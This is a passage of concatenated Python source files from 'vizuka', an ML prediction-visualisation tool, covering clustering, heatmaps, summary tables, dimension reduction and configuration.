self.reset_viz()
self.ax.set_xbound(saved_zoom[0])
self.ax.set_ybound(saved_zoom[1])
self.refresh_graph()
def update_all_heatmaps(self):
"""
Get all heatmaps registered by request_heatmap and draw them from scratch
"""
for (this_heatmap, axe, title) in self.heatmaps:
axe.clear()
axe.axis('off')
this_heatmap.update_colors(vizualization=self)
heatmap_color = this_heatmap.get_all_colors()
im = axe.imshow(
heatmap_color,
interpolation='nearest',
vmin=0, vmax=1,
extent=(
-self.amplitude-self.size_centroid/2,
self.amplitude-self.size_centroid/2,
-self.amplitude-self.size_centroid/2,
self.amplitude-self.size_centroid/2
),
aspect='auto')
axe.set_xlim(-self.amplitude / 2, self.amplitude / 2)
axe.set_ylim(-self.amplitude / 2, self.amplitude / 2)
axe.axis('off')
axe.set_title(title)
self.refresh_graph()
def update_summary(self):
"""
Updates the local variables (the variables containing info about currently
selected clusters).
Three objects are important inside the object Vizualization and need to be updated :
- self.local_classes contains possible_outputs_list inside current_cluster
- self.local_effectif contains the effetif of each label inside current_cluster
- self.local_accuracy is the ratio of good/total predicted inside cluster, by label
- self.local_confusion_by_class is the error made by the predictor, indexed by true output
"""
effectif_by_class = {}
logging.info("local_variables=updating")
# Get effectif
for clr in self.selected_clusters:
for cls, effectif in self.nb_of_points_by_class_by_cluster.get(clr,{}).items():
effectif_by_class[cls] = effectif_by_class.get(cls,0) + effectif
effectif_by_class = {cls:e for cls, e in effectif_by_class.items() if e>0}
# Set 3 first local variables
self.local_classes = list(effectif_by_class.keys())
self.local_sum = sum (effectif_by_class.values())
self.local_effectif = effectif_by_class
# Counts the good/bad predictions in these clusters
logging.info("local_variables=counting good/bad")
nb_good_by_class = {cls:sum([self.nb_good_point_by_class_by_cluster.get(clr,{}).get(cls,0) for clr in self.selected_clusters]) for cls in self.local_classes}
nb_bad_by_class = {cls:sum([self.nb_bad_point_by_class_by_cluster.get(clr,{}).get(cls, 0) for clr in self.selected_clusters]) for cls in self.local_classes}
self.local_bad_count_by_class = nb_bad_by_class
self.local_good_count_by_class = nb_good_by_class
# Gets accuracy
logging.info("local_variables=counting accuracy")
for cls in self.local_classes:
self.local_accuracy[cls] = (
nb_good_by_class.get(cls,0) /
(
nb_good_by_class.get(cls,0)
+ nb_bad_by_class.get(cls,0)
))
# Get confusion matrix
logging.info("local_variables=calculating confusion")
confusion = {}
for clr in self.selected_clusters:
for idx in self.index_by_cluster_label.get(clr,{}):
if idx in self.index_bad_predicted:
correct = self.correct_outputs[idx]
prediction = self.prediction_outputs[idx]
confusion[correct] = confusion.get(correct, []) + [prediction]
self.local_confusion_by_class_sorted = {cls:[] for cls in confusion}
for cls, errors in confusion.items():
self.local_confusion_by_class_sorted[cls] = Counter(errors).most_common(2)
logging.info("local_variables=ready")
def print_summary(self, axe, max_row=15):
"""
Print a short summary with basic stats (occurrence, classification rate) on an axe
This method gets its data mainly from self.local_accuracy and self.local_effectif,
these objects are self-updated when needed and contain the data of the user-selected clusters
:param max_row: max nb of row to add in table summary
:param axe: the matplotlib axe in which the stats will be plotted
"""
logging.info("local_summary=printing")
row_labels = list(self.local_classes)
values = [
[
(
'{0:.0f} ({1:.1f}%)'.format(
self.local_effectif[c],
self.local_effectif[c] / self.nb_of_individual_by_true_output[c] * 100)
),
(
'{0:.2f}% ({1:+.1f}%) - {0:.1f}'.format(
self.local_accuracy[c]*100,
(self.local_accuracy[c]-self.accuracy_by_class[c])*100,
stats.binom_test(
self.local_effectif[c]*self.local_accuracy[c],
self.local_effectif[c],
self.accuracy_by_class[c],
alternative='two-sided'
),
)
),
(
'{0:.0f} ({1:.1f}%)'.format(
self.nb_of_individual_by_true_output[c],
self.nb_of_individual_by_true_output[c] / float(len(self.projected_input)) * 100,
)
),
(
' '.join([
'{:.6}'.format(class_mistaken)+ ' ({0:.1f}%)'.format(
error_count/float(self.local_bad_count_by_class[c])*100
)
for class_mistaken, error_count in self.local_confusion_by_class_sorted.get(c,[]) if error_count != 0
])
),
]
for c in row_labels
]
arg_sort = np.argsort([self.local_effectif[c] for c in row_labels])
values = [values[i] for i in arg_sort[::-1]]
row_labels = [row_labels[i][:6] for i in arg_sort[::-1]]
# add row "all" for recap :
max_row = min(max_row, min(len(values), len(row_labels)))
values = values[:max_row]
row_labels = row_labels[:max_row]
values.append([self.local_sum, '-', '{} (100%)'.format(len(self.projected_input)), ' '])
row_labels.append('all')
self.rows = row_labels
cols = [
'#class (in cluster)\n'
'(#class (in cluster) /#class)',
'accuracy (in cluster)\n'
'(delta with accuracy (general)) - p-value',
'#class\n'
'(#class /#all_class)',
'common mistakes'
]
axe.clear()
summary = axe.table(
cellText=values,
rowLabels=row_labels,
colLabels=cols,
loc='center',
)
cells = summary.get_celld()
for i in range(0,4):
cells[(0,i)].set_height(cells[(1,0)].get_height()*2)
summary.auto_set_font_size(False)
summary.set_fontsize(8)
axe.axis('off')
logging.info("local_summary=ready")
def print_global_summary(self, ax, max_row=9):
"""
Prints a global summary with the most frequent class and
their classification accuracy
"""
logging.info("global_summary=calculating")
ax.clear()
ax.axis('off')
cols = ['accuracy', 'effectif']
most_common_classes = Counter(
{
c:len(self.index_by_true_output.get(c,[])) for c in self.possible_outputs_list
}
).most_common(max_row)
row_labels = np.array(most_common_classes)[:,0]
values = []
for c in row_labels:
accuracy = self.accuracy_by_class.get(c,0)*100
effectif = self.nb_of_individual_by_true_output.get(c,0)
if len(self.projected_input) == 0:
proportion_effectif = 0
else:
proportion_effectif = effectif / float(len(self.projected_input)) * 100
values.append(['{0:.2f}'.format(accuracy)+"%", '{0:.0f} ({1:.2f}%)'.format(effectif, proportion_effectif)])
summary = ax.table(
cellText=values,
rowLabels=[' '+str(r[:6])+' ' for r in row_labels],
colLabels=cols,
loc='center',
)
summary.auto_set_font_size(False)
summary.set_fontsize(8)
logging.info("global_summary=ready")
def request_heatmap(self, method, axe, title):
"""
Draw a heatmap based on a heatmap_builder on an axe
:param heatmap_builder: a Vizualization parameterless method which returns patches
:param axe: matplotlib axe object in which the heatmap will be plotted
"""
heatmap_constructor = heatmap.make_heatmap(
method=method,
)
this_heatmap = heatmap_constructor(
vizualization=self,
)
self.heatmaps.append((this_heatmap, axe, title))
def export(self, output_path, format='csv'):
"""
Export your selected data in a .csv file for analysis
"""
logging.info('exporting:...')
if output_path == "":
logging.warn("No export name specified, aborting")
return
columns = [
'prediction',
'projected coordinates',
'is_correct',
]
rows = [
[
self.projected_input[idx],
self.prediction_outputs[idx],
int(idx in self.index_good_predicted),
]
for idx,c in enumerate(self.cluster_by_idx)
if c in self.selected_clusters
]
if self.x_raw.any():
columns = [*self.x_raw_columns, *columns]
rows = [
[
*self.x_raw[idx],
self.prediction_outputs[idx],
self.projected_input[idx],
int(idx in self.index_good_predicted),
]
for idx,c in enumerate(self.cluster_by_idx)
if c in self.selected_clusters
]
to_export = [columns, *rows]
if format=='csv':
wr = csv.writer(open(output_path, 'w'))
wr.writerows(to_export)
logging.info('exporting: done')
else:
logging.warn('exporting: format not available')
def make_clusterization_name(self, name_clusters):
"""
Filename containing the saved session
"""
return name_clusters + '#' + self.version + '.pkl'
def save_clusterization(self, name_clusters='clusters'):
"""
Basically saves a clusterizer and replays a sequence of leftclicks
"""
if (' ' in name_clusters) or ('.' in name_clusters):
self.viz_handler.pop_dialog("Please do not use space or '.' in name!")
return
filename = self.make_clusterization_name(name_clusters)
session = (self.version, self.clusterizer, self.left_clicks)
full_path = os.path.join(self.saved_clusters_path, filename)
logging.info("user clusters: saving in {}".format(full_path))
pickle.dump(
session,
open(full_path, 'wb')
)
self.viz_handler.user_cluster_menulist.add_items([filename])
return filename
def load_clusterization(self, name_clusters):
"""
Basically loads clustering engine and sequence of left_clicks
"""
full_path = os.path.join(self.saved_clusters_path, name_clusters)
version_to_load, clusterizer, left_clicks_to_reproduce = pickle.load(
open(full_path, 'rb'),
)
if version_to_load != self.version:
self.viz_handler.pop_dialog(
"Impossible to load clusters : bad VERSION (dataset do not match)")
return
self.reset_viz()
self.left_clicks = set()
self.clusterizer = clusterizer
self.init_clusters()
self.reset_summary()
for left_click in left_clicks_to_reproduce:
self.do_left_click(left_click)
self.update_summary()
self.print_summary(self.summary_axe)
self.print_global_summary(self.global_summary_axe)
self.update_all_heatmaps()
self.request_new_frontiers('none')
self.refresh_graph()
def clear_cluster_view(self):
for clr_view in self.cluster_view:
clr_view.clear()
def add_cluster_view(self, feature_to_display, plotter_names):
logging.info(
"cluster_view=adding a feature to display, {}:{}".format(
feature_to_display, plotter_names)
)
self.cluster_view.append(
Cluster_viewer(
{feature_to_display:plotter_names},
self.x_raw,
self.x_raw_columns,
show_dichotomy=True,
)
)
self.additional_figures.append(self.cluster_view[-1])
self.viz_handler.add_figure(
self.additional_figures[-1],
"Cluster view: {}".format(plotter_names[0])
)
logging.info("cluster_view=ready")
if self.selected_clusters:
self.update_cluster_view()
def update_cluster_view(self):
if self.cluster_view:
logging.info('cluster_viewer=sorting indexes')
index_selected = [
idx for clr in self.selected_clusters for idx in self.index_by_cluster_label.get(clr,[])]
index_good = [idx for idx in index_selected if idx in self.index_good_predicted]
index_bad = [idx for idx in index_selected if idx in self.index_bad_predicted ]
for clr_view in self.cluster_view:
logging.info('cluster_viewer=plotting sorted indexes')
clr_view.update_cluster_view(
index_good = index_good,
index_bad = index_bad,
data_by_index = self.x_raw,
)
logging.info('cluster_viewer=ready')
def plot(self):
"""
Plot the Vizualization, define axes, add scatterplot, buttons, etc..
"""
self.init_clusters()
self.main_fig = matplotlib.figure.Figure()
#self.cluster_view = matplotlib.figure.Figure()
self.cluster_view = []
self.additional_figures = []
gs=GridSpec(3,4)
#self.view_details = View_details(self.x_raw)
self.viz_handler = Viz_handler(
viz_engine = self,
figure = self.main_fig,
onclick = self.onclick,
additional_figures = self.additional_figures,
)
for feature_to_display,plotter_name in self.features_to_display.items():
self.add_cluster_view(feature_to_display, plotter_name)
# main subplot with the scatter plot
self.ax = self.main_fig.add_subplot(gs[:2,:3])
self.ax_base_title = 'Correct VS incorrect predictions'
self.ax.set_title(self.ax_base_title)
# summary_subplot with table of local stats
self.summary_axe = self.main_fig.add_subplot(gs[2,:3])
self.summary_axe.axis('off')
self.global_summary_axe = self.main_fig.add_subplot(gs[2,3])
self.global_summary_axe.axis('off')
self.print_global_summary(self.global_summary_axe)
# heatmap subplots
# contain accuracy of correct prediction and entropy
self.axes_needing_borders = [self.ax]
# draw heatmap
logging.info("heatmap=calculating")
# self.cluster_view = self.main_fig.add_subplot(gs[1,3])
self.heatmaps = []
self.heatmap0 = self.main_fig.add_subplot(
gs[1,3],
sharex=self.ax,
sharey=self.ax)
self.request_heatmap(
method=self.heatmaps_requested[0],
axe=self.heatmap0,
title='Heatmap: accuracy correct predictions')
self.axes_needing_borders.append(self.heatmap0)
self.heatmap1 = self.main_fig.add_subplot(
gs[0,3],
sharex=self.ax,
sharey=self.ax)
self.request_heatmap(
method=self.heatmaps_requested[1],
axe=self.heatmap1,
title='Heatmap: cross-entropy Cluster-All')
self.axes_needing_borders.append(self.heatmap1)
self.update_all_heatmaps()
logging.info("heatmap=ready")
# draw scatter plot
self.reset_viz()
self.request_new_frontiers('none')
logging.info('Vizualization=ready')
self.viz_handler.is_ready()
def show(self):
logging.info('showing main window')
self.viz_handler.show()
logging.info('showing cluster diving window')
#self.cluster_diver.show()
logging.info("showing done")
sys.exit(self.viz_handler.app.exec_())
def refresh_graph(self):
logging.info('refreshing main window')
self.viz_handler.refresh()
logging.info("refreshing done")
|
0011001011/vizuka
| 4,952 |
vizuka/launch_reduce.py
|
import argparse
import logging
from pyfiglet import Figlet
from vizuka import dimension_reduction
from vizuka import data_loader
from vizuka import config
from vizuka.config import (
VERSION,
INPUT_FILE_BASE_NAME,
DATA_PATH,
BASE_PATH,
PROJECTION_DEFAULT_PARAMS,
)
logger = logging.getLogger()
logger.setLevel(logging.WARN)
def do_reduce(algorithm_name, parameters, version, data_path, reduced_path):
"""
Project the data in :param data_path: (version :param version:)
with algorithm :param algorithm_name: using parameters in :param parameters
and save it in :param reduced_path:
"""
algo_builder = dimension_reduction.make_projector(algorithm_name)
algo = algo_builder(**parameters)
(x, _ ,_ ,_, loaded, preprocessed_filename ) = data_loader.load_preprocessed(
file_base_name = INPUT_FILE_BASE_NAME,
path = data_path,
version = version,
)
if not loaded:
logging.warn("\nNo data found\nCorresponding file not found: {}\nPlease check --show-required-files".format(preprocessed_filename))
return
logging.warn("Projecting the preprocessed data in 2D.. this may take a while!")
algo.project(x) # do the dimension projection
algo.save_projection(version=version, path=reduced_path) # save the result
logging.warn("Projecting done")
def main():
"""
Loads parameters and run do_reduce
"""
print(Figlet().renderText('Vizuka'))
builtin_projectors, extra_projectors = dimension_reduction.list_projectors()
parser = argparse.ArgumentParser()
parser.add_argument(
'-a', '--algorithm',
help=(
'algorithm name to reduce dimensions, available are :\n'
+ 'builtin: {}\n'.format(list(builtin_projectors.keys()))
+ 'extra plugins: {}'.format(list(extra_projectors.keys()))
)
)
parser.add_argument(
'-p', '--parameters', action='append',
help='specify parameters, e.g: "-p perplexity:50 -p learning_rate:0.1" '
'It will load default values in config.py if not specified'
)
parser.add_argument(
'-v', '--version',
help='specify a version of the files to load/generate (see vizuka --show_required_files), currently: '+VERSION)
parser.add_argument(
'--path',
help='change the location of your data/ folder containing reduced/ (the projections)'
' and set/ (the raw and preprocessed data).'
' Default to {}'.format(BASE_PATH)
)
parser.add_argument(
'--verbose', action="store_true",
help="verbose mode")
parser.set_defaults(
algorithm = 'manual',
parameters = {},
path = BASE_PATH,
version = VERSION,
)
args = parser.parse_args()
(data_path, reduced_path, _, _, _, _) = config.path_builder(args.path)
algorithm_name = args.algorithm
parameters = args.parameters
version = args.version
verbose = args.verbose
print("VERSION: Loading dataset labeled {} (cf --version)".format(version))
if verbose:
logger.setLevel(logging.DEBUG)
if algorithm_name == 'manual':
choice_list, choice_dict = "", {}
for i,method in enumerate([*builtin_projectors, *extra_projectors]):
choice_list+="\t\t [{}]: {}\n".format(i, method)
choice_dict[i]=method
choice = input("No algorithm specified (-a or --algorithm)\n\tChoices available are:\n"+choice_list+"\t[?] > ")
try:
choice_int=int(choice)
except:
logger.warn("Please enter a valid integer !")
return
algorithm_name = choice_dict[choice_int]
for raw_param in parameters:
if ':' not in raw_param:
raise TypeError('parameter -p not used correctly! see --help')
param_name, param_value = raw_param.split(':')
parameters[param_name:param_value]
default_params = PROJECTION_DEFAULT_PARAMS.get(algorithm_name, {})
for default_param_name, default_param_value in default_params.items():
if default_param_name not in parameters:
parameters[default_param_name] = default_param_value
logger.info('parameter {} not specified, using default value: {}'.format(
default_param_name, default_param_value)
)
do_reduce(algorithm_name, parameters, version, data_path, reduced_path)
cmd_to_launch = "vizuka"
cmd_to_launch+= (' --version {}'.format(version) if version!=VERSION else '')
cmd_to_launch+= ('--path {}'.format(args.path) if args.path != BASE_PATH else '')
print('"Projection done, you can now launch "vizuka"')
if __name__=='__main__':
main()
|
0011001011/vizuka
| 1,512 |
vizuka/config.py
|
"""
Here are the default parameters used in all the package
There are 1.path 2.filenames 3.learning parameters
"""
import os
#
# ALL DEFAULT PATH
#
def path_builder(base_path):
folders = [
os.path.join(base_path, relative) for relative in [
'set/',
'reduced/',
'models/',
'graph/',
'cache/',
'saved_clusters/',
]
]
for folder in folders:
if not os.path.exists(folder):
os.makedirs(folder)
return folders
# Build all path from one base
BASE_PATH = os.path.join(os.path.dirname(__file__), 'data/')
(
DATA_PATH,
REDUCED_DATA_PATH,
MODEL_PATH,
GRAPH_PATH,
CACHE_PATH,
SAVED_CLUSTERS_PATH,
) = path_builder(BASE_PATH)
#
# ALL DEFAULT FILENAME
#
# File containing data to be t-SNEed
INPUT_FILE_BASE_NAME = 'preprocessed_inputs_'
RAW_NAME = 'raw_data_'
# default RN for predictions
DEFAULT_PREDICTOR = 'predict_'
# PROJECTIONS DATA will have a named generated from the algo projector parameters
# A version is a string added to the end of each filename
VERSION = 'MNIST_example'
#
# LEARNING PARAMETERS
#
# Dimension reduction default parameters :
DEFAULT_PROJECTOR = 'tsne'
PROJECTION_DEFAULT_PARAMS = {
'tsne': {
'perplexity': 50,
'learning_rate': 1000,
'n_iter': 12000,
},
'pca': {
'nb_dimension': 2,
'min_ratio_variance_explained': -1,
},
}
NAME_VALUE_SEPARATOR = '@@'
PARAMETERS_SEPARATOR = '#'
|
0011001011/vizuka
| 1,622 |
vizuka/heatmap/__init__.py
|
import os
import pkgutil
import inspect
import importlib
import pickle
from vizuka.heatmap import heatmap
from vizuka.heatmap import accuracy
from vizuka.heatmap import entropy
from vizuka.plugins import heatmap as heatmap_plugins
def list_heatmap():
"""
List all the available heatmaps
First it looks in this directory, then in plugin/heatmaps/
All heatmaps must inherit vizuka.heatmap.heatmap.Heatmap
to be detectable
:return: a dict with built-in heatmaps and their respective
constructor, and a dict with plugins heatmaps and
their respective constructor
"""
built_in_heatmap= {
'accuracy' : accuracy.AccuracyHeatmap,
'entropy' : entropy.EntropyHeatmap,
}
extra_heatmap = {}
for (module_loader, name, ispkg) in pkgutil.iter_modules(heatmap_plugins.__path__):
plugin = importlib.import_module('.plugins.heatmap.'+name, 'vizuka')
members = inspect.getmembers(plugin)
for _, class_ in members:
if inspect.isclass(class_):
if issubclass(class_, heatmap.Heatmap):
extra_heatmap[name] = class_
return built_in_heatmap, extra_heatmap
def make_heatmap(method):
"""
Gets a list of all available heatmap constructors
and returns the correct one
:param method: the name of the heatmap you want
"""
built_in_heatmap, extra_heatmap = list_heatmap()
available_heatmap = {**built_in_heatmap, **extra_heatmap}
heatmap_builder = available_heatmap.get(method, None)
return heatmap_builder
|
0011001011/vizuka
| 3,412 |
vizuka/heatmap/entropy.py
|
import numpy as np
import logging
from vizuka.helpers.ml_helper import cross_entropy
from vizuka.heatmap import heatmap
class EntropyHeatmap(heatmap.Heatmap):
def __init__(self, vizualization):
self.update_colors(vizualization)
def get_all_colors(self):
"""
Returns all colors in a dict by x by y
"""
return self.all_colors
def update_colors(self, vizualization):
"""
Prepares an entropy heatmap
This method is a heatmap_builder returning a list of patches
to be plotted somewhere. The maximum entropy for the
Vizualization is calculated and used as normalization parameter.
The plot is actually a logplot as it is more eye-friendly
..seealso:: add_heatmap
"""
self.all_colors = [[0 for _ in range(vizualization.resolution)] for _ in range(vizualization.resolution)]
logging.info('heatmap_entropy: drawing')
centroids_label = vizualization.clusterizer.predict(vizualization.mesh_centroids)
entropys = []
ordered_class_list = list(vizualization.nb_of_individual_by_true_output.keys())
ordered_class_list.sort()
global_list = []
for class_ in ordered_class_list:
global_list.append(vizualization.nb_of_individual_by_true_output.get(class_))
global_array = np.array(global_list)
global_entropy = np.log(global_array / np.sum(global_array))
for index, (x, y) in enumerate(vizualization.mesh_centroids):
current_centroid_label = centroids_label[index]
nb_of_point_by_class = vizualization.nb_of_points_by_class_by_cluster.get(current_centroid_label, {})
nb_of_point_by_class_list = [nb_of_point_by_class.get(class_, 0) for class_ in ordered_class_list]
try:
cluster_is_empty = not bool(vizualization.index_by_cluster_label[current_centroid_label])
except KeyError:
cluster_is_empty=True
if (not nb_of_point_by_class) or cluster_is_empty:
current_entropy = 0
else:
current_entropy = (
cross_entropy(
global_array,
nb_of_point_by_class_list,
global_entropy=global_entropy
)
)
entropys.append(current_entropy)
min_entropys = min(entropys)
max_entropys = max(entropys)
amplitude_entropys = max_entropys - min_entropys
# this exception is poorly handleded right now
if float(amplitude_entropys)==0.:
amplitude_entropys = 1
logging.info(
'heatmap entropy: max cross-entropy={} min={}'.format(
max_entropys,
min_entropys,)
)
for index, (x, y) in enumerate(vizualization.mesh_centroids):
if index > len(entropys):
current_entropy = min_entropys
else:
current_entropy = entropys[index]
normalized_entropy = ((current_entropy - min_entropys) / amplitude_entropys)
x_index, y_index = vizualization.get_coordinates_from_index(index)
self.all_colors[x_index][y_index] = normalized_entropy
logging.info('heatmap entropy: done')
|
0011001011/vizuka
| 2,896 |
vizuka/heatmap/accuracy.py
|
"""
This module provides heatmaps to be drawn on the side of the main map.
Basically it takes a vizualization object and returns an array with
associated colors.
If you want to provide new ones dont forget to register them in qt_handler
"""
import logging
from vizuka.heatmap import heatmap
class AccuracyHeatmap(heatmap.Heatmap):
def __init__(self, vizualization):
"""
Prepare an 'accuracy' heatmap (good predictions / total effectif).
One color by cluster !
Heatmap showing the accuracy of the prediction,
3 colors are actually used :
- red for bad prediction
- blue for correct
- green for special_class which is a special label defined
at the Vizualization.__init__ (typically the label "0")
All colors are mixed linearly
:returns: a dict of colors to be plotted (indexed by x by y)
"""
self.update_colors(vizualization)
def update_colors(self, vizualization):
"""
Updates all the colors from a new vizualization object
(containing all infos about predictions, true class,
clusters, etc...)
"""
self.all_colors = [[0 for _ in range(vizualization.resolution)] for _ in range(vizualization.resolution) ]
centroids_cluster_by_index = vizualization.clusterizer.predict(vizualization.mesh_centroids)
logging.info('heatmap: drawing accuracy heatmap')
for index, (x, y) in enumerate(vizualization.mesh_centroids):
current_centroid_cluster_label = centroids_cluster_by_index[index]
nb_good_points = vizualization.nb_good_point_by_cluster.get(current_centroid_cluster_label, 0)
nb_bad_points = vizualization.nb_bad_point_by_cluster.get (current_centroid_cluster_label, 0)
nb_null_points = vizualization.nb_null_point_by_cluster.get(current_centroid_cluster_label, 0)
nb_of_valid_cluster_points = nb_good_points + nb_bad_points
if nb_of_valid_cluster_points > 0:
accuracy_correct = nb_good_points / float(nb_of_valid_cluster_points)
accuracy_null = nb_null_points / float(nb_of_valid_cluster_points)
accuracy_incorrect = 1 - accuracy_correct
else:
accuracy_correct = 1
accuracy_null = 1
accuracy_incorrect = 1
red = accuracy_incorrect
green = accuracy_null
blue = accuracy_correct
x_coordinate, y_coordinate = vizualization.get_coordinates_from_index(index)
self.all_colors[x_coordinate][y_coordinate ] = [red, green, blue]
logging.info('heatmap: accuracy done')
def get_all_colors(self):
"""
Returns colors by x by y coordinates
"""
return self.all_colors
|
0011001011/vizuka
| 2,135 |
vizuka/clustering/__init__.py
|
import os
import pkgutil
import inspect
import importlib
import pickle
import logging
from vizuka.clustering import (
kMeans,
dbscan,
grid,
clusterizer,
)
from vizuka.plugins import clustering as clustering_plugins
def get_required_arguments(method_name):
if method_name=='grid':
return []
else:
builtin, extra = list_clusterizer()
available_clusterizers = {**builtin, **extra}
return inspect.getargspec(available_clusterizers[method_name]).args[1:]
def list_clusterizer():
built_in_clusterizers = {
'kmeans':kMeans.KmeansClusterizer,
'dbscan':dbscan.DBSCANClusterizer,
'grid':grid.DummyClusterizer,
}
extra_cluterizers = {}
for (module_loader, name, ispkg) in pkgutil.iter_modules(clustering_plugins.__path__):
plugin = importlib.import_module('.plugins.clustering.'+name, 'vizuka')
members = inspect.getmembers(plugin)
for _, class_ in members:
if class_ in clusterizer.Clusterizer.__subclasses__():
extra_cluterizers[name] = class_
return built_in_clusterizers, extra_cluterizers
def make_clusterizer(method='grid', **kwargs):
"""
Clusterize the data with specified algorithm
Naively assume you pass the right parameters for the right algo
:param data: array with shape (n,2) of inputs to clusterize
:param method: algo to use, supported: kmeans, dbscan,grid
:param n_clusters: nb of clusters to find (if applicable)
:return: a clusterizer object (instance of child of Clusterizer())
"""
built_in_clusterizers, extra_clusterizers = list_clusterizer()
available_clusterizers = {**built_in_clusterizers, **extra_clusterizers}
clusterizer_builder = available_clusterizers.get(method, None)
required_parameters = inspect.getargspec(clusterizer_builder).args
given_parameters = {name:value for name,value in kwargs.items() if name in required_parameters}
clusterizer = clusterizer_builder(**given_parameters)
return clusterizer
|
0011001011/vizuka
| 1,175 |
vizuka/clustering/grid.py
|
from scipy.spatial import cKDTree
from vizuka.clustering.clusterizer import Clusterizer
class DummyClusterizer(Clusterizer):
"""
The DummyClusterizer is a clustering engine which
return the index of your point in a big mesh.
Give it the resolution of your mesh and its amplitude,
it will center it on (0,0) and "clusterize". There are
resolution*resolution clusters, come of them being..
hum.. empty yes.
"""
def __init__(self, mesh=[]):
"""
Inits the "engine" by giving it a resolution.
The resolution will be the square root of the
nb of clusters.
"""
self.register_parameters(parameters={})
self.kdtree = cKDTree(mesh)
self.engine = None
self.method='grid'
def fit(self, xs):
"""
Fit to the data, for this it finds how big the mesh
will need to be
:param xs: array-like of data to clusterize
"""
pass
def predict(self, xs):
"""
Simply give you the index of the mesh in which the
data is, it is considered as a cluster label
"""
return self.kdtree.query(xs)[1]
|
0011001011/vizuka
| 4,943 |
vizuka/clustering/clusterizer.py
|
'''
Clustering engine to use with Vizualization
If you want to implement one, dont forget to add it
on qt_handler, to be able to select on the IHM
Also, adds it in make_clusterizer obviously
3 methods are necessary to implement, cf Clusterizer():
init - set main params
fit - to prepare the algo for the data
predict - to find out the cluster of a (x,y)
'''
import pickle
import os
import logging
from matplotlib import pyplot as plt
from vizuka.config import (
CACHE_PATH,
NAME_VALUE_SEPARATOR,
PARAMETERS_SEPARATOR,
)
class Clusterizer():
def get_param_from_name(name):
"""
Returns the method and parameters of the clusterizer
from its name
"""
params = {}
blocks = name.split(PARAMETERS_SEPARATOR)
method = blocks[0]
for block in blocks[1:]:
if block:
name, value = block.split(NAME_VALUE_SEPARATOR)
params[name] = value
return method, params
def __init__(self, **kwargs):
"""
Builds a clusterizer object e.g: kmeans
Do not know the datas at this point, just pass it the bare
minimum to initialize an engine.
:param *args **kwargs: parameters passed to the clusterizer engine
it can literally be whatever you want
"""
pass
def register_parameters(self, parameters):
"""
Register the parameters of the clusterizer to generate a name
The name will be used for saving clusterizer in cache file (pickle)
and replay session with Load clusterization in Vizuka main window
:param parameters: a dict with the parameters of the clustering engine
"""
self.parameters = parameters
def get_name(self):
"""
Returns a unique name for the clustering engine
This name alone is not sufficient to find which cached clustering engine to
reload as different datasets have a different clustering
"""
ordered_parameters_name = list(self.parameters)
ordered_parameters_name.sort()
return ''.join([
self.method,PARAMETERS_SEPARATOR,
*[ str(name)+NAME_VALUE_SEPARATOR+str(self.parameters[name])+PARAMETERS_SEPARATOR for name in ordered_parameters_name ]
])[:-1]
def fit(self, xs):
"""
First time the engine sees the data.
Depending on the algorithm you may do your magic your own way
and maybe store new variable in self, maybe store all the
predicts for each x directly in a dict.
:param xs: a list containing data to clusterize
"""
pass
def predict(self, xs):
"""
Finds the cluster(s) in which the data is.
:params xs: array-like of (x,y) points
:return: array-like of cluster id
"""
return (0, ) * len(xs)
def loadable(self, version, path=CACHE_PATH):
filename = ''.join(
[self.get_name(), PARAMETERS_SEPARATOR, version,'.pkl'])
full_path = os.path.join(path, filename)
if os.path.exists(full_path):
logging.info('cluster: found clusters in {}'.format(full_path))
return True
else:
logging.info('cluster: no cached clusters found in {}'.format(full_path))
return False
def save_cluster(self, version, path=CACHE_PATH):
filename = ''.join(
[self.get_name(), PARAMETERS_SEPARATOR, version,'.pkl'])
full_path = os.path.join(path, filename)
logging.info('cluster: saving clusters in {}'.format(full_path))
with open(full_path, 'wb') as f:
pickle.dump(self, f)
def load_cluster(self, version, path=CACHE_PATH):
filename = ''.join(
[self.get_name(), PARAMETERS_SEPARATOR, version,'.pkl'])
full_path = os.path.join(path, filename)
logging.info('cluster: loading clusters in {}'.format(full_path))
with open(full_path, 'rb') as f:
loaded = pickle.load(f)
self = loaded
return loaded
if __name__ == '__main__':
"""
Yes, I like to test my code with __main__
"""
from vizuka import dim_reduction as dr
from vizuka import data_loader as dl
datas_sets, models = dl.load_tSNE()
datas = datas_sets[50, 1000, 'pca', 15000]
clusterizer = make_clusterizer(datas, method='kmeans', n_clusters=80)
f, ax = plot_clusters(datas, clusterizer)
plt.show()
|
0011001011/vizuka
| 3,430 |
vizuka/clustering/dbscan.py
|
import numpy as np
from matplotlib import pyplot as plt
from sklearn.cluster import DBSCAN
from scipy.spatial import cKDTree
import logging
from vizuka.clustering.clusterizer import Clusterizer
class DBSCANClusterizer(Clusterizer):
def __init__(self, epsilon=1.5, min_samples=30):
"""
Inits a DBSCAN clustering engine from sklearn
"""
self.epsilon = float(epsilon)
self.min_samples = int(float(min_samples))
self.register_parameters(
parameters={
'epsilon' : self.epsilon,
'min_samples': self.min_samples}
)
self.method='dbscan'
self.engine = DBSCAN(
n_jobs = 4,
eps = self.epsilon,
min_samples = self.min_samples,
)
def fit(self, xs):
"""
There is no dbscan.predict so...
We are going to predict everything and
put it on a big dict.
This is stupid but thank sklearn for that.
If you want to predict the class of a point
not initially in your data (e.g the mesh_centroids)
then the engine will first find the nearest fitted
data, and give you its cluster labelling.
:param xs: array-like of datas
"""
xs_tuple = [ tuple(x) for x in xs ]
tmp = self.engine.fit_predict(xs_tuple)
self.predictions = {xs_tuple[idx]: predict for idx, predict in enumerate(tmp)}
labels = set(tmp)
def do(xs_tuple):
tmp = self.engine.fit_predict(xs_tuple)
self.predictions = {xs_tuple[idx]: predict for idx, predict in enumerate(tmp)}
labels = set(tmp)
f = plt.figure()
s = f.add_subplot(111)
s.set_title(str(len(labels))+" class")
for i in labels:
to_display = np.array([x for idx,x in enumerate(xs_tuple) if i == tmp[idx]])
s.scatter(to_display[:,0], to_display[:,1])
plt.show()
# do(xs_tuple)
self.kdtree = cKDTree(xs)
self.xs = xs
logging.info("DBSCAN found {} labels".format(len(labels)))
# There is a problm here : all isolated points are classified -1
# in DBSCAN, which is a problem for our interactive cluster selection
# as selecting a title (labelled as the label of nearest point to its
# "centroid") may lead to select all tiles labelled as -1 : this would
# be very ugly
class_min = min(labels)
for key, class_ in self.predictions.items():
if class_ <= -1:
class_min-=1
self.predictions[key] = class_min
labels = set(self.predictions.values())
logging.info("DBSCAN found {} labels after correction".format(len(labels)))
def predict(self, xs):
"""
Predicts cluster label
:param xs: array-like of datas to classify
..seealso:: self.fit
"""
current_predicts = []
for x in xs:
x_tuple = tuple(x)
if x_tuple in self.predictions:
